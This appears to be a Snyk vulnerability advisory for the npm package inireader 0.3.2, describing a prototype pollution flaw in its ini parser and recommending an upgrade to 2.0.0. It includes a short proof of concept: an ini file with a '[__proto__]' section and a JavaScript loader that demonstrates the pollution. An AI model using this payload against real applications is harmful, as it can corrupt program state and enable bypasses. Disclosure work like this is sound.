inireader@0.3.2 vulnerabilities

Module to create, read and/or change ini configuration files

Direct Vulnerabilities

Known vulnerabilities in the inireader package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

inireader is a small module for nodejs. You can parse .ini configuration files with it.

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the parse function is concentrating arrays. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

Test.ini

[__proto__]
polluted = polluted

PoC.js

var iniReader = require('inireader');
console.log('Before:', {}.polluted);

// initialize

var parser = new iniReader.IniReader();
parser.load('./test.ini');
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

Upgrade inireader to version 2.0.0 or higher.

<2.0.0